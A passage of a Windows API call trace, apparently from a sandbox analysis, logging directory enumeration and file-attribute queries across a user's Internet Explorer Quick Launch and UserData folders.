1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.393] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.394] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.394] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.394] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.394] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.394] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.394] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.394] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.394] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.395] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.396] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc490d370, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.396] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.397] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.397] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.397] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.397] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.398] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.398] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.398] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.398] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\0fhkrmgg"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.399] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.399] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.399] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.399] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.400] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.400] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.400] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.400] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\34yfiti6"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.401] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.401] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.401] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.401] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.401] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.402] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.402] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.402] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.402] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\4ert46z6"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.403] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.403] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.403] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.403] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.403] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.404] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.404] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.404] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.404] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\5xg08rn1"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.404] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.404] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.404] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.405] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.405] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.405] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.405] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.405] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.405] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.405] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.405] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.405] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.406] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.406] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe678, 